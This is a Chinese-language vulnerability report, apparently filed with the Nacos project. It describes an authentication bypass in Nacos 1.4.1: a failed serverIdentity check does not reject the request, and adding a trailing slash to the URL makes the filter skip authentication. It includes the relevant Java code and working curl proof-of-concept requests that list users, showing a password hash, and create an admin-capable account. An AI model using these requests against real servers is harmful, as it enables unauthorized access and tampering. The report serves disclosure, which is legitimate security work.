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你好,我发现nacos最新版本1.4.1对于User-Agent绕过安全漏洞的serverIdentity key-value修复机制,依然存在绕过问题,在nacos开启了serverIdentity的自定义key-value鉴权后,通过特殊的url构造,依然能绕过限制访问任何http接口。
通过查看该功能,需要在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false
,才能避免User-Agent: Nacos-Server
绕过鉴权的安全问题。
但在开启该机制后,我从代码中发现,任然可以在某种情况下绕过,使之失效,调用任何接口,通过该漏洞,我可以绕过鉴权,做到:
调用添加用户接口,添加新用户(POST https://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test
),然后使用新添加的用户登录console,访问、修改、添加数据。
问题主要出现在com.alibaba.nacos.core.auth.AuthFilter#doFilter
:
- public class AuthFilter implements Filter {
-
- @Autowired
- private AuthConfigs authConfigs;
-
- @Autowired
- private AuthManager authManager;
-
- @Autowired
- private ControllerMethodsCache methodsCache;
-
- private Map<Class<? extends ResourceParser>, ResourceParser> parserInstance = new ConcurrentHashMap<>();
-
- @Override
- public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain)
- throws IOException, ServletException {
-
- if (!authConfigs.isAuthEnabled()) {
- chain.doFilter(request, response);
- return;
- }
-
- HttpServletRequest req = (HttpServletRequest) request;
- HttpServletResponse resp = (HttpServletResponse) response;
-
- if (authConfigs.isEnableUserAgentAuthWhite()) {
- String userAgent = WebUtils.getUserAgent(req);
- if (StringUtils.startsWith(userAgent, Constants.NACOS_SERVER_HEADER)) {
- chain.doFilter(request, response);
- return;
- }
- } else if (StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils
- .isNotBlank(authConfigs.getServerIdentityValue())) {
- String serverIdentity = req.getHeader(authConfigs.getServerIdentityKey());
- if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
- chain.doFilter(request, response);
- return;
- }
- Loggers.AUTH.warn("Invalid server identity value for {} from {}", authConfigs.getServerIdentityKey(),
- req.getRemoteHost());
- } else {
- resp.sendError(HttpServletResponse.SC_FORBIDDEN,
- "Invalid server identity key or value, Please make sure set `nacos.core.auth.server.identity.key`"
- + " and `nacos.core.auth.server.identity.value`, or open `nacos.core.auth.enable.userAgentAuthWhite`");
- return;
- }
-
- try {
-
- Method method = methodsCache.getMethod(req);
-
- if (method == null) {
- chain.doFilter(request, response);
- return;
- }
-
- ...鉴权代码
-
- }
- ...
- }
- ...
- }
可以看到,上面三个if else分支:
第一个是authConfigs.isEnableUserAgentAuthWhite()
,它默认值为true,当值为true时,会判断请求头User-Agent是否匹配User-Agent: Nacos-Server
,若匹配,则跳过后续所有逻辑,执行chain.doFilter(request, response);
第二个是StringUtils.isNotBlank(authConfigs.getServerIdentityKey()) && StringUtils.isNotBlank(authConfigs.getServerIdentityValue())
,也就是nacos 1.4.1版本对于User-Agent: Nacos-Server
安全问题的简单修复
第三个是,当前面两个条件都不符合时,对请求直接作出拒绝访问的响应
问题出现在第二个分支,可以看到,当nacos的开发者在application.properties添加配置nacos.core.auth.enable.userAgentAuthWhite:false
,开启该key-value简单鉴权机制后,会根据开发者配置的nacos.core.auth.server.identity.key
去http header中获取一个value,去跟开发者配置的nacos.core.auth.server.identity.value
进行匹配,若不匹配,则不进入分支执行:
- if (authConfigs.getServerIdentityValue().equals(serverIdentity)) {
- chain.doFilter(request, response);
- return;
- }
但问题恰恰就出在这里,这里的逻辑理应是在不匹配时,直接返回拒绝访问,而实际上并没有这样做,这就让我们后续去绕过提供了条件。
再往下看,代码来到:
- Method method = methodsCache.getMethod(req);
-
- if (method == null) {
- chain.doFilter(request, response);
- return;
- }
-
- ...鉴权代码
可以看到,这里有一个判断method == null
,只要满足这个条件,就不会走到后续的鉴权代码。
通过查看methodsCache.getMethod(req)
代码实现,我发现了一个方法,可以使之返回的method为null
com.alibaba.nacos.core.code.ControllerMethodsCache#getMethod
- public Method getMethod(HttpServletRequest request) {
- String path = getPath(request);
- if (path == null) {
- return null;
- }
- String httpMethod = request.getMethod();
- String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
- List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
- if (CollectionUtils.isEmpty(requestMappingInfos)) {
- return null;
- }
- List<RequestMappingInfo> matchedInfo = findMatchedInfo(requestMappingInfos, request);
- if (CollectionUtils.isEmpty(matchedInfo)) {
- return null;
- }
- RequestMappingInfo bestMatch = matchedInfo.get(0);
- if (matchedInfo.size() > 1) {
- RequestMappingInfoComparator comparator = new RequestMappingInfoComparator();
- matchedInfo.sort(comparator);
- bestMatch = matchedInfo.get(0);
- RequestMappingInfo secondBestMatch = matchedInfo.get(1);
- if (comparator.compare(bestMatch, secondBestMatch) == 0) {
- throw new IllegalStateException(
- "Ambiguous methods mapped for '" + request.getRequestURI() + "': {" + bestMatch + ", "
- + secondBestMatch + "}");
- }
- }
- return methods.get(bestMatch);
- }
- private String getPath(HttpServletRequest request) {
- String path = null;
- try {
- path = new URI(request.getRequestURI()).getPath();
- } catch (URISyntaxException e) {
- LOGGER.error("parse request to path error", e);
- }
- return path;
- }
这个代码里面,可以很明确的看到,method值的返回,取决于
- String urlKey = httpMethod + REQUEST_PATH_SEPARATOR + path.replaceFirst(EnvUtil.getContextPath(), "");
- List<RequestMappingInfo> requestMappingInfos = urlLookup.get(urlKey);
urlKey这个key,是否能从urlLookup这个ConcurrentHashMap中获取到映射值
而urlKey的组成中,存在着path这一部分,而这一部分的生成,恰恰存在着问题,它是通过如下方式获得的:
new URI(request.getRequestURI()).getPath()
一个正常的访问,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
,得到的path将会是/nacos/v1/auth/users
,而通过特殊构造的url,比如curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users/?username=test&password=test' --path-as-is
,得到的path将会是/nacos/v1/auth/users/
通过该方式,将能控制该path多一个末尾的斜杆'/',导致从urlLookup这个ConcurrentHashMap中获取不到method,为什么呢,因为nacos基本全部的RequestMapping都没有以斜杆'/'结尾,只有非斜杆'/'结尾的RequestMapping存在并存入了urlLookup这个ConcurrentHashMap,那么,最外层的method == null
条件将能满足,从而,绕过该鉴权机制。
影响范围:
1.4.1
1.访问用户列表接口
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users/?pageNo=1&pageSize=9'
可以看到,绕过了鉴权,返回了用户列表数据
- {
- "totalCount": 1,
- "pageNumber": 1,
- "pagesAvailable": 1,
- "pageItems": [
- {
- "username": "nacos",
- "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
- }
- ]
- }
2.添加新用户
curl -XPOST 'http://127.0.0.1:8848/nacos/v1/auth/users?username=test&password=test'
可以看到,绕过了鉴权,添加了新用户
- {
- "code":200,
- "message":"create user ok!",
- "data":null
- }
3.再次查看用户列表
curl XGET 'http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=9'
可以看到,返回的用户列表数据中,多了一个我们通过绕过鉴权创建的新用户
- {
- "totalCount": 2,
- "pageNumber": 1,
- "pagesAvailable": 1,
- "pageItems": [
- {
- "username": "nacos",
- "password": "$2a$10$EuWPZHzz32dJN7jexM34MOeYirDdFAZm2kuWj7VEOJhhZkDrxfvUu"
- },
- {
- "username": "test",
- "password": "$2a$10$5Z1Kbm99AbBFN7y8Dd3.V.UGmeJX8nWKG47aPXXMuupC7kLe8lKIu"
- }
- ]
- }
4. 访问首页http://127.0.0.1:8848/nacos/
,登录新账号,可以做任何事情
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